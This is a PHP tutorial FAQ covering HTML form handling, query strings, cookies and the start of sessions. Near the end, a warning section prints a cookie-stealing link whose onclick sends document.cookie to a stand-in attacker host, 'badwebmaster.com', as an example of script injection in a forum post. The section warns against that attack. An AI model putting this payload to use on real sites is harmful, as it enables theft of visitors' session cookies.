<?php print("<html><form action=processing_forms.php method=post>"); print("<table><tr><td colspan=2>Please enter and submit your" ." comments about PICKZYCenter.com:</td></tr>"); print("<tr><td>Your Name:</td>" ."<td><input type=text name=name></td></tr>\n"); print("<tr><td>Your Job Title:</td>" ."<td><select name=job>" ."<option>Developer</option>" ."<option>QA Engineer</option>" ."<option>DBA</option>" ."<option>Other</option>" ."</select></td></tr>\n"); print("<tr><td>Rate This Site:</td>" ."<td><select name=rate>" ."<option value=3>Good</option>" ."<option value=2>Average</option>" ."<option value=1>Poor</option>" ."</select></td></tr>\n"); print("<tr><td>Comments:</td>" ."<td><input type=text name=comment></td></tr>\n"); print("<tr><td colspan=2><input type=submit><td></tr></table>\n"); print("</form></html>\n");

?>

If you submit the form with this page, you will get something like this:
Number of values: 4 name = Joe job = Developer rate = 3 comment = I like it.

How To Specify Input Values for Radio Buttons? Radio buttons can be used in a form for two situations:

As a single switch - One <INPUT TYPE=RADIO ...> tag, with no input value specified. When submitted with button pushed down, you will receive a value of "on". When submitted with button not pushed, this field will not be submitted. As a group of exclusive selections - Multiple <INPUT TYPE=RADIO ...> tags with the same field name with different input values specified in the "value" attribute. When submitted, only one input value that associated with pushed button will be submitted.

The sample PHP script page below is a modified version of submit_comments.php that has one group of exclusive radio buttons named as "job" and single switch named as "rate":
<?php print("<html><form action=processing_forms.php method=post>"); print("<table><tr><td colspan=2>Please enter and submit your" ." comments about PICKZYCenter.com:</td></tr>"); print("<tr><td>Your Name:</td>" ."<td><input type=text name=name></td></tr>\n"); print("<tr><td>Your Job Title:</td>" ."<td><input type=radio name=job value=dev>Developer " ."<input type=radio name=job value=sqa>QA Engineer " ."<input type=radio name=job value=dba>DBA " ."<input type=radio name=job value=other>Other " ."</td></tr>\n"); print("<tr><td>Like Site:</td>" ."<td><input type=radio name=rate></td></tr>\n"); print("<tr><td>Comments:</td>" ."<td><input type=text name=comment></td></tr>\n"); print("<tr><td colspan=2><input type=submit><td></tr></table>\n"); print("</form></html>\n"); ?>

If you submit the form with this page, you will get something like this:
Number of values: 4 name = Sue job = sqa

rate = on comment = Will visit PICKZYCenter.com again.

How To Specify Input Values for Checkboxes? Checkboxes can be used in a form for two situations:

As a single switch - One <INPUT TYPE=CHECKBOX ...> tag, with no input value specified. When submitted with button pushed down, you will receive a value of "on". When submitted with button not pushed, this field will not be submitted. As a group of multiple selections - Multiple <INPUT TYPE=CHECKBOX ...> tags with the same field name with different input values specified in the "value" attribute. When submitted, input values that associated with checked boxes will be submitted.

The sample PHP script page below is a modified version of submit_comments.php that has one group of multiple checkboxes and single switch:
<?php print("<html><form action=processing_forms.php method=post>"); print("<table><tr><td colspan=2>Please enter and submit your" ." comments about PICKZYCenter.com:</td></tr>"); print("<tr><td>Your Name:</td>" ."<td><input type=text name=name></td></tr>\n"); print("<tr><td>Site Visited:</td><td>" ."<input type=checkbox name=site value=dev>Dev PICKZY Center " ."<input type=checkbox name=site value=sqa>SQA PICKZY Center " ."<input type=checkbox name=site value=dba>DBA PICKZY Center " ."</td></tr>\n"); print("<tr><td>Like Site:</td>" ."<td><input type=checkbox name=rate></td></tr>\n"); print("<tr><td>Comments:</td>" ."<td><input type=text name=comment></td></tr>\n"); print("<tr><td colspan=2><input type=submit><td></tr></table>\n"); print("</form></html>\n"); ?>

If you submit the form with this page, you will get something like this:
Number of values: 4 name = Peter site = dba rate = on comment = All good sites

But there is a problem with script in processing_forms.php. It picks up only one of the input values selected from the checkbox group. See the next tip for solutions. How To Retrieve Input Values for Checkboxes Properly?

If multiple input values are submitted with the same field name, like the case of a group of checkboxes, you should add ([]) to the end of the field name. This tells the PHP engine that multiple values are expected for this field. The engine will then store the values in an indexed array, and put the array as the "value" in $_REQUEST. In order to retrieve multiple values of checkboxes properly, you need to treat $_REQUEST[field_name] as an array. The following PHP script is an enhanced version of processing_forms.php that handles multiple values properly:
<?php print("<html><pre>"); $count = count($_REQUEST); print("Number of values: $count\n"); foreach ($_REQUEST as $key=>$value) { if (is_array($value)) { print(" $key is an array\n"); for ($i = 0; $i < count($value); $i++) { print(" ".$key."[".$i."] = ".$value[$i]."\n"); } } else { print(" $key = $value\n"); } } print("</pre></html>\n"); ?>

Now you need to modify the submit_comments.php as:
<?php print("<html><form action=processing_forms.php method=post>"); print("<table><tr><td colspan=2>Please enter and submit your" ." comments about PICKZYCenter.com:</td></tr>"); print("<tr><td>Your Name:</td>" ."<td><input type=text name=name></td></tr>\n"); print("<tr><td>Site Visited:</td><td>" ."<input type=checkbox name=site[] value=dev>Dev PICKZY Center, " ."<input type=checkbox name=site[] value=sqa>SQA PICKZY Center, " ."<input type=checkbox name=site[] value=dba>DBA PICKZY Center " ."</td></tr>\n"); print("<tr><td>Like Site:</td>" ."<td><input type=checkbox name=rate></td></tr>\n"); print("<tr><td>Comments:</td>" ."<td><input type=text name=comment></td></tr>\n"); print("<tr><td colspan=2><input type=submit><td></tr></table>\n"); print("</form></html>\n"); ?>

If you test the form by selecting two checkboxes, you will get something like this:
Number of values: 4 name = Mary site is an array site[0] = dev site[1] = sqa

rate = on comment = Good sites for developers.

How To Supply Default Values for Text Fields? If you want to provide a default value to a text field in your form, you need to pay attention to following notes:
• •

• •

The default value should be provided in the 'VALUE=default_value' attribute in the &ltINPUT TYPE=TEXT ...> tag. The length of the default value should be less than the max length specified in the "MAXLENGTH=nnn" attribute. If you provide default value longer than the max length, the default value will be truncated when submitted. You should put the default value inside double-quotes as 'VALUE="$default_value"' to protect spaces. You must apply htmlspecialchars() translation function to the default value to protect HTML sensitive characters, like double quotes.

The PHP script below is a modified version of submit_comments.php with a default value in the "comment" field:
<?php $comment = 'I want to say: "It\'s a good site! :->"'; $comment = htmlspecialchars($comment); print("<html><form action=processing_forms.php method=post>"); print("<table><tr><td colspan=2>Please enter and submit your" ." comments about PICKZYCenter.com:</td></tr>"); print("<tr><td>Your Name:</td>" ."<td><input type=text name=name></td></tr>\n"); print("<tr><td>Comments:</td>" ."<td><input type=text name=comment value=\"$comment\" size=40>" ."</td></tr>\n"); print("<tr><td colspan=2><input type=submit><td></tr></table>\n"); print("</form></html>\n"); ?>

If you view this PHP page, you will a form with default value nicely displayed in the comment field. If you submit the form, you will get something like this:
Number of values: 2 name = Alan comment = I want to say: \"It\'s a good site! :->\"

Notice that special characters are protected with slashes when form is submitted. See the next tip on how to remove slashes. How To Remove Slashes on Submitted Input Values? By default, when input values are submitted to the PHP engine, it will add slashes to protect single quotes and double quotes. You should remove those slashes to get the

original values by applying the stripslashes() function. Note that PHP engine will add slashes if the magic_quotes_gpc switch is turned off. The PHP script below is an enhanced version of processing_forms.php with slashes removed when magic_quotes_gpc is turned on:
<?php print("<html><pre>"); $count = count($_REQUEST); print("Number of values: $count\n"); foreach ($_REQUEST as $key=>$value) { if (is_array($value)) { print(" $key is an array\n"); for ($i = 0; $i < count($value); $i++) { $sub_value = $value[$i]; if (get_magic_quotes_gpc()) { $sub_value = stripslashes($sub_value); } print(" ".$key."[".$i."] = ".$sub_value."\n"); } } else { if (get_magic_quotes_gpc()) { $value = stripslashes($value); } print(" $key = $value\n"); } } print("</pre></html>\n"); ?>

Now if you submit the same data again as in the previous exercise, you will get the original values as:
Number of values: 2 name = Alan comment = I want to say: "It's a good site! :->"

How To Support Multiple Submit Buttons? Sometimes, you may need to give visitors multiple submit buttons on a single form to allow them to submit the form for different purposes. For example, when you show your customer a purchase order in a Web form, you may give your customer 3 submit buttons as "Save", "Copy", and "Delete". You can do this by adding "name" and "value" attributes to the <INPUT TYPE=submit ...> tags to differentiate the buttons. The following PHP script is a modified version of submit_comments.php with 3 submit buttons:
<?php $comment = 'I want to say: "It\'s a good site! :->"'; $comment = htmlspecialchars($comment); print("<html><form action=processing_forms.php method=post>"); print("<table><tr><td colspan=2>Please enter and submit your" ." comments about PICKZYCenter.com:</td></tr>"); print("<tr><td>Your Name:</td>"

."<td><input type=text name=name></td></tr>\n"); print("<tr><td>Comments:</td>" ."<td><input type=text name=comment value=\"$comment\" size=40>" ."</td></tr>\n"); print("<tr><td colspan=2>" .'<input type=submit name=submit value="Submit now">' .'<input type=submit name=submit value="Save only">' .'<input type=submit name=submit value="Cancel">' ."<td></tr></table>\n"); print("</form></html>\n"); ?>

If you view this PHP page, you will see 3 buttons. If submit the form by clicking the "Save only" button, you will get something like this:
Number of values: 3 name = Peter comment = I want to say: "It's a good site! :->" submit = Save only

Obviously, different code logics should be written based on the received value of the "submit" field. How To Support Hidden Form Fields? Hidden fields are special fields in a form that are not shown on the Web page. But when the form is submitted, values specified in the hidden fields are also submitted to the Web server. A hidden field can be specified with the <INPUT TYPE=HIDDEN ...> tag. The PHP script below shows you a good example:
<?php print("<html><form action=processing_forms.php method=post>"); print("<input type=hidden name=module value=FAQ>\n"); print("<table><tr><td colspan=2>Please enter and submit your" ." comments about PICKZYCenter.com:</td></tr>"); print("<tr><td>Your Name:</td>" ."<td><input type=text name=name></td></tr>\n"); print("<tr><td>Comments:</td>" ."<td><input type=text name=comment size=40>" ."</td></tr>\n"); print("<tr><td colspan=2>" .'<input type=submit name=submit value="Submit">' ."<td></tr></table>\n"); print("</form></html>\n"); ?>

If you submit this form, you will get something like this:
Number of values: 4 module = FAQ name = Peter comment = Thanks for the good tips. submit = Submit

How To Generate and Process a Form with the Same Script? In previous exercises, a Web form is generated by one script, and processed by another script. But you could write a single script to do both. You just need to remember to:
• • •

Use same script name as the form generation script in the "action" attribute in the <FORM> tag. Write two sections in the script: one for form generation, the other for form processing. Check one expected input to determine which section to use.

The PHP script below shows you a good example:
<?php if (!isset($_REQUEST['submit'])) { generatingForm(); } else { processingForm(); } function generatingForm() { print("<html><form action=submit_comments.php method=post>"); print("<input type=hidden name=module value=FAQ>\n"); print("<table><tr><td colspan=2>Please enter and submit your" ." comments about PICKZYCenter.com:</td></tr>"); print("<tr><td>Your Name:</td>" ."<td><input type=text name=name></td></tr>\n"); print("<tr><td>Comments:</td>" ."<td><input type=text name=comment size=40>" ."</td></tr>\n"); print("<tr><td colspan=2>" .'<input type=submit name=submit value="Submit">' ."<td></tr></table>\n"); print("</form></html>\n"); } function processingForm() { print("<html><pre>"); $count = count($_REQUEST); print("Number of values: $count\n"); foreach ($_REQUEST as $key=>$value) { if (is_array($value)) { print(" $key is an array\n"); for ($i = 0; $i < count($value); $i++) { $sub_value = $value[$i]; if (get_magic_quotes_gpc()) { $sub_value = stripslashes($sub_value); } print(" ".$key."[".$i."] = ".$sub_value."\n"); } } else { if (get_magic_quotes_gpc()) { $value = stripslashes($value); } print(" $key = $value\n"); }

} print("</pre></html>\n"); } ?>

If you save this script as submit_comments.php on your Web server, and submit this form, you will get something like this:
Number of values: 4 module = FAQ name = Ray comment = Good site for beginners. submit = Submit

How To Submit Values without a Form? If you know the values you want to submit, you can code the values in a hyper link at the end of the URL. The additional values provided at the end of a URL is called query string. There are two suggestions on how to use query strings to submit values to the receiving script page:

Code values in the same way as the form method GET as: url?name=value&name=value... This allows the receiving script to retrieve input values in the $_REQUEST array or $_GET array. Code values in your own wan as: url?your_values_in_your_format. The receiving script needs to pick up the input values in $_SERVER['QUERY_STRING'].

Here is a simple script page that shows you two hyper links with query strings in different formats:
<?php print("<html>"); print("<p>Please click the links below" ." to submit comments about PICKZYCenter.com:</p>"); print("<p>" .'<a href="processing_forms.php?name=Guest&comment=Excellent">' ."It's an excellent site!</a></p>"); print("<p>" .'<a href="processing_forms.php?Visitor,Average">' ."It's an average site.</a></p>"); print("</html>"); ?>

If you copy this script as submit_comments.php to your Web server, and click the first link, you will get:
Number of values: 2 name = Guest comment = Excellent

If you click the second link, the current processing_forms.php will not pick up input values from $_REQUEST properly as showb below:
Number of values: 1 Visitor,Average =

How To Retrieve the Original Query String? If you have coded some values in the URL without using the standard form GET format, you need to retrieve those values in the original query string in $_SERVER['QUERY_STRING']. The script below is an enhanced version of processing_forms.php which print the original query string:
<?php print("<html><pre>"); print(" query_string = {$_SERVER['QUERY_STRING']}\n"); $count = count($_REQUEST); print("Number of values: $count\n"); foreach ($_REQUEST as $key=>$value) { if (is_array($value)) { print(" $key is an array\n"); for ($i = 0; $i < count($value); $i++) { $sub_value = $value[$i]; if (get_magic_quotes_gpc()) { $sub_value = stripslashes($sub_value); } print(" ".$key."[".$i."] = ".$sub_value."\n"); } } else { if (get_magic_quotes_gpc()) { $value = stripslashes($value); } print(" $key = $value\n"); } } print("</pre></html>\n"); ?>

How To Protect Special Characters in Query String? If you want to include special characters like spaces in the query string, you need to protect them by applying the urlencode() translation function. The script below shows how to use urlencode():
<?php print("<html>"); print("<p>Please click the links below" ." to submit comments about PICKZYCenter.com:</p>"); $comment = 'I want to say: "It\'s a good site! :->"'; $comment = urlencode($comment); print("<p>" ."<a href=\"processing_forms.php?name=Guest&comment=$comment\">" ."It's an excellent site!</a></p>");

$comment = 'This visitor said: "It\'s an average site! :-("'; $comment = urlencode($comment); print("<p>" .'<a href="processing_forms.php?'.$comment.'">' ."It's an average site.</a></p>"); print("</html>"); ?>

If you copy this script as submit_comments.php to your Web server, and click the first link, you will get:
query_string = name=Guest&comment= I+want+to+say%3A+%22It%27s+a+good+site%21+%3A-%3E%22 Number of values: 2 name = Guest comment = I want to say: "It's a good site! :->"

If you click the second link, you will get:
query_string = This+visitor+said%3A+%22It%27s+an+average+site%21+%3A-%28%22 Number of values: 1 This_visitor_said:_\"It\'s_an_average_site!_:-(\" =

Now you know that urlencode() all special characters into HEX numbers. To translate them back, you need to apply urldecode(). How To Support Multiple-Page Forms? If you have a long form with a lots of fields, you may want to divide the fields into multiple groups and present multiple pages with one group of fields on one page. This makes the a long form more user-friendly. However, this requires you to write good scripts that:
• •

When processing the first page and other middle pages, you must keep those input values collected so far in the session or as hidden values in the next page form. When processing the last page, you should collect all input values from all pages for final process, like saving everything to the database.

What Is a Cookie? A cookie is a small amount of information sent by a Web server to a web browser and then sent back unchanged by the browser each time it accesses that server. HTTP cookies are used for authenticating, tracking, and maintaining specific information about users, such as site preferences and the contents of their electronic shopping carts. The term "cookie" is derived from "magic cookie", a well-known concept in computing which inspired both the idea and the name of HTTP cookies.

A cookie consists of a cookie name and cookie value. For example, you can design a cookie with a name of "LoginName" and a value of "PICKZYCenter". How To Send a Cookie to the Browser? If you want to sent a cookie to the browser when it comes to request your PHP page, you can use the setcookie( ) function. Note that you should call setcookie() function before any output statements. The following script shows you how to set cookies:
<?php setcookie("LoginName","PICKZYCenter"); setcookie("PreferredColor","Blue"); print("2 cookies were delivered.\n"); ?>

How To Receive a Cookie from the Browser? If you know that a cookie has been sent to the browser when it was visiting the server previously, you can check the built-in $_COOKIE array, which contains all cookies that were sent by the server previously. The script below shows you how to pickup one cookie from the $_COOKIE and loop through all cookies in $_COOKIE:
<?php if (isset($_COOKIE["LoginName"])) { $loginName = $_COOKIE["LoginName"]; print("Received a cookie named as LoginName: ".$loginName."\n"); } else { print("Did not received any cookie named as LoginName.\n"); } print("All cookies received:\n"); foreach ($_COOKIE as $name => $value) { print " $name = $value\n"; }

?>

How To Test Cookies on a Web Server? If you want to test cookies with a browser, you need to run a Web server locally, or have access to a Web server remotely. Then you can copy the following PHP cookie test page, setting_receiving_cookies.php, to the Web server:
<?php setcookie("LoginName","PICKZYCenter"); setcookie("PreferredColor","Blue"); print("<pre>\n"); print("2 cookies were delivered.\n"); if (isset($_COOKIE["LoginName"])) { $loginName = $_COOKIE["LoginName"]; print("Received a cookie named as LoginName: ".$loginName."\n");

} else { print("Did not received any cookie named as LoginName.\n"); } $count = count($_COOKIE); print("$count cookies received.\n"); foreach ($_COOKIE as $name => $value) { print " $name = $value\n"; } print("</pre>\n"); ?>

If you open this PHP page with a browser as http://localhost/setting_receiving_cookies.php, you will get:
2 cookies were delivered. Did not received any cookie named as LoginName. 0 cookies received.

"0 cookies received" is because there was no previous visit from this browser. But if you click the refresh button of your browser, you will get:
2 cookies were delivered. Received a cookie named as LoginName: PICKZYCenter 2 cookies received. LoginName = PICKZYCenter PreferredColor = Blue

What Is a Persistent Cookie? A persistent cookie is a cookie which is stored in a cookie file permanently on the browser's computer. By default, cookies are created as temporary cookies which stored only in the browser's memory. When the browser is closed, temporary cookies will be erased. You should decide when to use temporary cookies and when to use persistent cookies based on their differences:
• • • • •

Temporary cookies can not be used for tracking long-term information. Persistent cookies can be used for tracking long-term information. Temporary cookies are safer because no programs other than the browser can access them. Persistent cookies are less secure because users can open cookie files see the cookie values.

How To Set a Persistent Cookie? If you want to set a persistent cookie, you can use the setcookie() function with an extra parameter to specify its expiration time. To follow sample script sets 2 persistent cookies to be expired within 7 days:

setcookie("LoginName","PICKZYCenter"); setcookie("PreferredColor","Blue"); setcookie("CouponNumber","07470433",time()+60*60*24*7); setcookie("CouponValue","100.00",time()+60*60*24*7); print("2 temporary cookies were delivered.\n"); print("2 consistent cookies were delivered.\n");

How To Test Persistent Cookies? If you want to test persistent cookies, you can copy the following PHP script, setting_persistent_cookies.php, to your Web server:
<?php setcookie("LoginName","PICKZYCenter"); setcookie("PreferredColor","Blue"); setcookie("CouponNumber","07470433",time()+60*60*24*7); setcookie("CouponValue","100.00",time()+60*60*24*7); print("<pre>\n"); print("2 temporary cookies were delivered.\n"); print("2 consistent cookies were delivered.\n"); if (isset($_COOKIE["LoginName"])) { $loginName = $_COOKIE["LoginName"]; print("Received a cookie named as LoginName: ".$loginName."\n"); } else { print("Did not received any cookie named as LoginName.\n"); } $count = count($_COOKIE); print("$count cookies received.\n"); foreach ($_COOKIE as $name => $value) { print " $name = $value\n"; } print("</pre>\n");

?>

Open your browser to visit this page: http://localhost/setting_persistent_cookies.php. You will see:
2 temporary cookies were delivered. 2 consistent cookies were delivered. Did not received any cookie named as LoginName. 0 cookies received.

Click the refresh button, you will see:
2 temporary cookies were delivered. 2 consistent cookies were delivered. Received a cookie named as LoginName: PICKZYCenter 4 cookies received. LoginName = PICKZYCenter PreferredColor = Blue CouponNumber = 07470433

CouponValue = 100.00

Close your browser and open it again to the same page. You will see:
2 temporary cookies were delivered. 2 consistent cookies were delivered. Did not received any cookie named as LoginName. 2 cookies received. CouponNumber = 07470433 CouponValue = 100.00

This proves that "CouponNumber" and CouponValue" persisted outside the browser. How To Remove a Cookie? Once a cookie is sent from the server to the browser, there is no direct way for the server to ask the browser to remove the cookie. But you can use the setcookie() function to send the same cookie to browser with a negative expiration time, which will cause the browser to expire (remove) the cookie immediately. The next sample PHP page will let you remove "CouponNumber" and CouponValue" persisted by the previous tutorial exercise:
<?php setcookie("CouponNumber","",time()-1); setcookie("CouponValue","",time()-1); print("<pre>\n"); print("2 cookies were delivered with past times.\n"); $count = count($_COOKIE); print("$count cookies received.\n"); foreach ($_COOKIE as $name => $value) { print " $name = $value\n"; } print("</pre>\n");

?>

Open your browser to visit this page: http://localhost/removing_cookies.php. You will see:
2 cookies were delivered with past times. 2 cookies received. CouponNumber = 07470433 CouponValue = 100.00

Click the refresh button, you will see:
2 cookies were delivered with past times. 0 cookies received.

As you can see, both cookies are removed. What Are Domain and Path Attributes for Cookies?

Cookies can also be defined with two other attributes:

Domain - A cookie attribute that defines the domain name of Web servers where this cookie is valid. Web browsers holding this cookie should not sent it back to any Web server outside the specified domain. The default domain is the domain from which the cookie originally came from. Path - A cookie attribute that defines the path name of Web server document path where this cookie is valid. Web browsers holding this cookie should not sent it back to the server when requesting any documents that are outside the specified path. The default path is the root path.

How To Specify Domain and Path for a Cookie? If you want to specify domain and path for cookie, you can use the setcookie() function with two extra parameters. The sample PHP script below shows you how to set the domain and path attributes for temporary and persistent cookies:
<?php setcookie("LoginName","PICKZYCenter", NULL, "/", ".pickzycenter.com"); setcookie("PreferredColor","Blue", NULL, "/", ".pickzycenter.com"); setcookie("CouponNumber","07470433",time()+60*60*24*7, "/store", ".pickzycenter.com"); setcookie("CouponValue","100.00",time()+60*60*24*7, "/store", ".pickzycenter.com"); print("2 temporary cookies were delivered.\n"); print("2 consistent cookies were delivered.\n"); ?>

What Is the Common Mistake When Setting Path and Domain on Temporary Cookies? A common mistake made by many PHP developers is using an empty string for the expiration time parameter when setting path and domain for temporary cookies. The PHP script below shows an example of this mistake:
<?php # Incorrect use of setcookie() setcookie("LoginName","PICKZYCenter", "", "/", ".pickzycenter.com"); # Correct use of setcookie() setcookie("PreferredColor","Blue", NULL, "/", ".pickzycenter.com"); ?>

If you run this script, you will get an error:
PHP Warning: setcookie() expects parameter 3 to be long, string given in \php_working_with_cookies.php on line 3

How Cookies Are Transported from Servers to Browsers?

Cookies are transported from a Web server to a Web browser in the header area of the HTTP response message. Each cookie will be included in a separate "Set-Cookie:" header line in the following format:
Set-Cookie: name=value; expires=time; path=pathVal; domain=domainVal

How To View Cookie Header Lines? If you are interested to see the cookie header lines, or you are having trouble with your cookies and need to see the cookies to help debugging, you can run your script with PHP CGI interface in a command line window. The following tutorial exercise shows you a good example:
>edit showing_cookie_header_lines.php <?php setcookie("LoginName","PICKZYCenter"); setcookie("PreferredColor","Blue", NULL, "/store"); setcookie("CouponNumber","07470433",time()+60*60*24*7,"/store"); setcookie("CouponValue","100.00",time()+60*60*24*7, "/store", ".pickzycenter.com"); print("4 cookies were delivered.\n"); ?> >php-cgi showing_cookie_header_lines.php Content-type: text/html X-Powered-By: PHP/5.0.4 Set-Cookie: LoginName=PICKZYCenter Set-Cookie: PreferredColor=Blue; path=/store Set-Cookie: CouponNumber=07470433; expires=Sun, 05 Mar 2006 02:33:43 GMT; path=/store Set-Cookie: CouponValue=100.00; expires=Sun, 05 Mar 2006 02:33:43 GMT; path=/store; domain=.pickzycenter.com 4 cookies were delivered.

How Cookies Are Transported from Browsers to Servers? Cookies are transported from a Web browser to a Web server in the header area of the HTTP request message. Each cookie will be included in a separate "Cookie:" header line in the following format:
GET / HTTP/1.1 Cookie: name1=value1 Cookie: name2=value2 Cookie: name3=value3 ...... Accept: */*

Where Are the Persistent Cookies Stored on Your Computer?

The location and file names where persistent cookies are stored on your computer depend on which browser you are using. If you using Microsoft Internet Explorer, persistent cookies are stored in the \Documents and Settings\$user\Cookies directory. Cookies are stored in multiple cookie files with one file per Web server. Check your cookie directory on your local system, you will be surprised to see how many Web servers are setting persistent cookies to your computer. How To Delete Cookie Files on Your Computer? A simple way to delete cookie files on your computer is to use the function offered by the IE browser. The following tutorial exercise shows you how to delete cookie files created by IE:
• • •

Open IE (Internet Explorer) Go to Options/Internet Options Click the Delete Cookies button on the options dialog window.

Check the cookie directory again. All cookie files should be deleted. How View the Content of a Cookie File? Cookie files are normal text files. You can view them with any text editor. Follow the steps below to see what is in a cookie file created by your own PHP script. Copy the following sample script, setting_persistent_cookies.php, to your Web server:
<?php setcookie("LoginName","PICKZYCenter"); setcookie("PreferredColor","Blue"); setcookie("CouponNumber","07470433",time()+60*60*24*7); setcookie("CouponValue","100.00",time()+60*60*24*7); print("<pre>\n"); print("2 temporary cookies were delivered.\n"); print("2 consistent cookies were delivered.\n"); if (isset($_COOKIE["LoginName"])) { $loginName = $_COOKIE["LoginName"]; print("Received a cookie named as LoginName: ".$loginName."\n"); } else { print("Did not received any cookie named as LoginName.\n"); } $count = count($_COOKIE); print("$count cookies received.\n"); foreach ($_COOKIE as $name => $value) { print " $name = $value\n"; } print("</pre>\n"); ?>

Open your IE browser to visit this page: http://localhost/setting_persistent_cookies.php. You will see:
2 temporary cookies were delivered. 2 consistent cookies were delivered. Did not received any cookie named as LoginName. 0 cookies received.

Now go to \Documents and Settings\$user\Cookies directory and open the cookie file, $user@localhost.txt. You will see:
CouponNumber 07470433 localhost/ 1024 3084847744 29787636 2404950512 29786228 * CouponValue 100.00 localhost/ 1024 3084847744 29787636 2405150512 29786228 *

How Does FireFox Manage Cookies? FireFox browser allows you to delete old cookies, and gives you options to keep persistent cookies in cookie files until they reach their expiration time. The following tutorial shows you how to manage cookies in FireFox:
• • • • •

Run FireFox Go to Tools/Options Click Privacy and then Cookies Click the Clear button to delete all old cookies Change the Keep Cookies option to "until they expire" to allow persistent cookies to be store a cookie file.

In Which Does File FireFox Store Persistent Cookies? If you change FireFox to keep cookies "until they expire", FireFox will store persistent cookies from all Web servers in a single file at: \Documents and Settings\$user\Application Data\Mozilla \Firefox\Profiles\xby7vgys.default\cookie.txt.

Open your FireFox browser to visit this page: http://localhost/setting_persistent_cookies.php. Then open FireFox cookie file. You will see:
# # # # HTTP Cookie File http://www.netscape.com/newsref/std/cookie_spec.html This is a generated file! Do not edit. To delete cookies, use the Cookie Manager. FALSE FALSE / / FALSE FALSE 1149219379 1149219379 CouponValue CouponNumber 100.00 07470433

localhost localhost ......

How Many Cookies Can You Set? How many cookies can you set in your PHP page? The answer is depending what is the Web browser your visitor is using. Each browser has its own limit:
• •

Internet Explorere (IE): 20 Mozilla FireFox: 50

If you want to test this limit, copy this sample script, how_many_cookies.php, to your Web server:
<?php $count = count($_COOKIE); $name = "Cookie_".($count+1); $value = "PICKZYCenter.com"; setcookie($name, $value); print("<pre>\n"); print("One cookies were added.\n"); print("$count cookies received.\n"); foreach ($_COOKIE as $name => $value) { print " $name = $value\n"; } print("</pre>\n"); ?>

Open your browser to this page for first time, you will see:
One cookies were added. 0 cookies received.

Click the refresh button, you will see:
One cookies were added. 1 cookies received. Cookie_1 = PICKZYCenter.com

Keep clicking the refresh button, you will see the limit of your browser.

How Large Can a Single Cookie Be? How large can a single cookie be? The answer is depending what is the Web browser your visitor is using. Each browser has its own limit:
• •

Internet Explorere (IE): about 3904 bytes Mozilla FireFox: about 3136 bytess

If you want to test this limit, copy this sample script, huge_cookies.php, to your Web server:
<?php if (isset($_COOKIE["HomeSite"])) { $value = $_COOKIE["HomeSite"]; } else { $value = ""; } $value .= "http://dev.PICKZYCenter.com/faq/php"; setcookie("HomeSite", $value); print("<pre>\n"); print("Large cookie set with ".strlen($value)." characters.\n"); print("</pre>\n"); ?>

Open your browser to this page for first time, you will see:
Large cookie set with 32 characters.

Click the refresh button, you will see:
Large cookie set with 64 characters.

Keep clicking the refresh button, you will see the limit of your browser. How Are Cookies Encoded During Transportation? When cookies are transported from servers to browsers and from browsers back to servers, Cookies values are always encoded using the URL encoding standard to ensure that they are transported accurately. But you don't need to worry about the encoding and decoding processes yourself. PHP engine will automatically encode cookies created by setcookie(), and decode cookies in the $_COOKIE array. The tutorial exercise will help you understand this concept better. Write a sample PHP script, encoding_cookies.php, like this:
<?php setcookie("Letters", "PICKZYCenter"); setcookie("Symbols", "A~!@#%^&*(), -_=+[]{};:'\"/?<>."); setcookie("Latin1", "\xE6\xE7\xE8\xE9\xA5\xA9\xF7\xFC"); print("<pre>\n");

$count = count($_COOKIE); print("$count cookies received.\n"); foreach ($_COOKIE as $name => $value) { print " $name = $value\n"; } print("</pre>\n"); ?>

First, run this script off-line in a command window:
>php-cgi encoding_cookies.php Content-type: text/html X-Powered-By: PHP/5.0.4 Set-Cookie: Letters=PICKZYCenter Set-Cookie: Symbols=A%7E%21%40%23%25%5E%26%2A%28%29%2C +-_%3D%2B%5B%5D%7B%7D%3B%3A%27%22%2F%3F%3C%3E. Set-Cookie: Latin1=%E6%E7%E8%E9%A5%A9%F7%FC <pre> 0 cookies received. </pre>

You see how cookie values are encoded now. Then copy the script, encoding_cookies.php to the Web server, and run it with a browser. You will get:
3 cookies received. Letters = PICKZYCenter Symbols = A~!@#%^&*(), -_=+[]{};:\'\"/?.<> Latin1 = æçè饩÷ü

This shows that the values in the $_COOKIE array are already decoded. How Can Other Webmaster Steal Your Cookies? All browsers are following the security rule that your cookies are sent back only to your Web servers. They will not be sent to other Webmaster's Web server directly. However, other Webmaster may design some malicious JavaScript codes to steal cookies created by your PHP pages. For example, if you allow visitors to post messages in your forum, comment area, or guestbooks with hyper links. A bad Webmaster who owns a Web site called www.badwebmaster.com could post a message like this on your Web site with a malicious hyper link:
<a href="#" onclick="window.location='http://www.badwebmaster.com /stole.cgi?text='+escape(document.cookie); return false;"> Click here to get your free gift!

If your visitor clicks this hyper link, all of your cookie values will be sent to this bad Webmaster's CGI program as part of the GET URL (not as cookies). So check your forum, comment book or guestbook program. And do not allow visitors to post messages with client side scripts.

What Is a Session? A session is a logical object created by the PHP engine to allow you to preserve data across subsequent HTTP requests. There is only one session object available to your PHP scripts at any time. Data saved to the session by a script can be retrieved by the same script or another script when requested from the same visitor. Sessions are commonly used to store temporary data to allow multiple PHP pages to offer a complete functional transaction for the same visitor. How To Turn On the Session Support? The session support can be turned on automatically at the site level, or manually in each PHP page script:
• •

Turning on session support automatically at the site level: Set session.auto_start = 1 in php.ini. Turning on session support manually in each page script: Call session_start() funtion.

How To Save Values to the Current Session? When session is turned on, a session will be automatically created for you by the PHP engine. If you want to save any values to the session, you can use the pre-defined associative array called $_SESSION. The following PHP script shows you how to save values to the session:
<?php session_start(); print("<html><pre>"); $_SESSION["MyLogin"] = "PICKZYCenter"; print("A value saved in the session named as MyLogin.\n"); $_SESSION["MyColor"] = "Blue"; print("A value saved in the session named as MyColor.\n"); print("Click <a href=next_page.php>Next Page</a>" ." to retrieve the values.\n"); print("</pre></html>\n");

?>

If you save this script to your Web server as first_page.php and visit it with a browser, you will get:
A value saved in the session named as MyLogin. A value saved in the session named as MyColor.

Click Next Page to retrieve the values.

How To Retrieve Values from the Current Session? If you know some values have been saved in the session by an other script requested by the same visitor, you can retrieve those values back by using the pre-defined associative array called $_SESSION. The following PHP script shows you how to retrieve values from the session:
<?php session_start(); print("<html><pre>"); $myLogin = $_SESSION["MyLogin"]; print("Value of MyLogin has been retrieved: ".$myLogin."\n"); $myColor = $_SESSION["MyColor"]; print("Value of MyColor has been retrieved: ".$myColor."\n"); print("</pre></html>\n"); ?>

You need to save this script to your Web server as next_page.php. Now visit first_page.php and click the "Next Page" hyper like, you will get:
